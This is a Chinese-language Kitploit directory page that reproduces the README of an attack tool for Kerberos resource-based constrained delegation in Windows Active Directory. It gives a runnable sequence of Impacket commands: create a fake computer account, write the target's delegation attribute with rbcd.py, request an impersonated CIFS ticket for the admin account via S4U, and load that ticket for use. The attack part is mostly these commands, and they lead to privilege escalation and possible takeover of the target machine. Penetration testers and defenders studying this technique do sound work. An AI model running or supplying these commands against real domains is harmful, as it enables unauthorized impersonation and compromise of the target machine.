Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/tothi/rbcd-attack
权限提升漏洞利用渗透测试
GitHubtothi/rbcd-attack

rbcd-attack

使用 Impacket 从外部进行 Kerberos 基于资源的约束委派攻击

查看仓库
64672441年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

滥用 Kerberos 基于资源的约束性委派

TL;DR

本仓库介绍针对 Windows Active Directory 域中 Kerberos 基于资源的约束性委派的实际攻击方法。

与其他常见实现的不同之处在于,我们是从 Windows 域外部 发起攻击,而非从已加入域的(通常是 Windows)计算机。

该攻击仅使用 Python3 Impacket(及其依赖)实现。已在 Arch 系统上使用最新版 Impacket(编写时版本为 0.9.21)测试通过。

攻击日志

攻击概述

简而言之,不涉及深层细节,该攻击针对域计算机,确切地说是针对目标域计算机的服务主体。

我们需要以下前提条件:

  • 一个域账户,对目标计算机具有写入权限(准确说是对目标计算机域对象的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性具有写入权限)
  • 创建新计算机账户的权限(通常是默认权限,请参见 MachineAccountQuota)
  • 对域控的 LDAP(389/tcp)和 SAMR(445/tcp)(或 LDAPS(636/tcp))访问权限
  • 对域控的 Kerberos(88/tcp)访问权限

攻击路径的极高层次描述:

  1. 创建一个假计算机
  2. 滥用目标计算机的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性
  3. 为目标计算机请求模拟服务票据(S4U)

收益:

  • 模拟服务票据可能允许对目标上的服务(如 CIFS、HTTP 等)进行高级别访问,前提是模拟账户拥有相应权限。有时可实现计算机接管。

常见工具集

针对此攻击的常见工具集运行在已加入域的 Windows 计算机上,使用:

  • Powermad 用于添加新计算机账户
  • Powerview(来自 PowerSploit dev 分支)用于滥用 msDS-AllowedToActOnBehalfOfOtherIdentity
  • Rubeus 用于 S4U 票据操作

Impacket 实现

本实现使用纯 Impacket 从域外部执行。

创建假计算机

使用 Impacket 示例中的 addcomputer.py 创建一个假计算机(名为 evilcomputer):

root@kitploit:~
addcomputer.py -computer-name 'evilcomputer$' -computer-pass ev1lP@sS -dc-ip 192.168.33.203 ecorp.local/test:ohW9Lie0

修改委派权限

使用本仓库中实现的脚本 rbcd.py,该脚本将新创建的 EVILCOMPUTER 的相关安全描述符添加到目标计算机的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性中。

root@kitploit:~
./rbcd.py -f EVILCOMPUTER -t WEB -dc-ip 192.168.33.203 ecorp\\test:ohW9Lie0

该脚本大量使用了 Impacket 示例 ntlmrelayx.py 中的 Python 类。如需帮助和示例,请在无选项的情况下调用脚本。

获取模拟服务票据

现在,通过 S4U2Self 查询滥用约束性委派,并为目标计算机获取模拟服务票据的准备工作已完成。使用 Impacket 示例脚本 getST.py:

root@kitploit:~
getST.py -spn cifs/WEB.ecorp.local -impersonate admin -dc-ip 192.168.33.203 ecorp.local/EVILCOMPUTER$:ev1lP@sS

上述命令代表目标域用户 admin 获取一个 CIFS 服务票据,并将其存储在文件 admin.ccache 中。

将文件路径添加到 KRB5CCNAME 变量后,该票据即可供 Kerberos 客户端使用。

root@kitploit:~
export KRB5CCNAME=`pwd`/admin.ccache
klist

参考资料

关于滥用基于资源的约束性委派的详细信息:

  • https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
  • https://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
  • http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/

以及最全面的 Kerberos 攻击演示之一:

  • 构建带有委派原语的 Kerberos 攻击 幻灯片 由 Elad Shamir 和 Matt Bush 在 Defcon 上发布
下载工具